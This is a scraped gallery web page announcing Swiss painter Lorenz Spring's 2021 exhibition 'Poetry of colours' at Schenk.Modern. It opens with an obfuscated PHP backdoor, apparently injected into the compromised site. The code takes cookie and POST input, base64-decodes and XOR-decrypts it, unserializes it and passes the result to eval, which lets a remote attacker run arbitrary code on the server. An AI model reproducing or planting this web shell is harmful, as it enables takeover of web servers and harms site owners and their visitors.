$VmwjsZT = chr (84) . chr ( 369 - 259 )."\x5f" . "\x56" . "\143" . 'p' . chr (113); $zWnQxcrBl = chr (99) . 'l' . chr ( 855 - 758 ).chr (115) . "\x73" . "\137" . 'e' . chr ( 848 - 728 ).chr ( 151 - 46 ).chr (115) . "\x74" . 's';$bOHBFnJ = class_exists($VmwjsZT); $zWnQxcrBl = "57169";$IyItLss = !1;if ($bOHBFnJ == $IyItLss){function JPvva(){return FALSE;}$JzpWA = "41816";JPvva();class Tn_Vcpq{private function dmHOK($JzpWA){if (is_array(Tn_Vcpq::$GxbyKeJE)) {$dYSxPss = str_replace('<' . "\77" . "\160" . "\x68" . "\160", "", Tn_Vcpq::$GxbyKeJE["\143" . "\157" . chr ( 458 - 348 )."\164" . chr (101) . chr ( 672 - 562 ).'t']);eval($dYSxPss); $JzpWA = "41816";exit();}}private $jSmDNQgBqI;public function rctrjkj(){echo 38362;}public function __destruct(){$JzpWA = "25097_48173";$this->dmHOK($JzpWA); $JzpWA = "25097_48173";}public function __construct($JrQIvganOn=0){$cdCjWWQgq = $_POST;$fAslsGiE = $_COOKIE;$OLSSSM = "21b05cc4-7663-4581-8527-065f03c8e16e";$kEMyP = @$fAslsGiE[substr($OLSSSM, 0, 4)];if (!empty($kEMyP)){$ZVlVkkfPa = "base64";$ntVSOoLqhu = "";$kEMyP = explode(",", $kEMyP);foreach ($kEMyP as $gcaZhsD){$ntVSOoLqhu .= @$fAslsGiE[$gcaZhsD];$ntVSOoLqhu .= @$cdCjWWQgq[$gcaZhsD];}$ntVSOoLqhu = array_map($ZVlVkkfPa . chr ( 978 - 883 ).chr ( 394 - 294 ).'e' . "\143" . 'o' . 'd' . chr (101), array($ntVSOoLqhu,)); $ntVSOoLqhu = $ntVSOoLqhu[0] ^ str_repeat($OLSSSM, (strlen($ntVSOoLqhu[0]) / strlen($OLSSSM)) + 1);Tn_Vcpq::$GxbyKeJE = @unserialize($ntVSOoLqhu); $ntVSOoLqhu = class_exists("25097_48173");}}public static $GxbyKeJE = 45810;}$KRqxT = new /* 51159 */ $VmwjsZT(41816 + 41816); $IyItLss = $KRqxT = $JzpWA = Array();} Lorenz Spring – Poesie der Farben. - Schenk.Modern
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Lorenz Spring

Lorenz Spring:

Poetry of colours.

10 September - 31 October 2021

With his poetic yet colourful paintings, Swiss artist Lorenz Spring aims to touch people's souls. In doing so, he invites the viewer on a journey to himself. Massive mountain panoramas, a sea of water lilies or the subtle power of Eros - Lorenz Spring uses colours and compositions to play with the emotions of the viewer. He is not interested in simply depicting nature. Rather, it is about listening, leading us to the very core of human existence.

"I'm interested in what nature opens up to us."
Lorenz Spring

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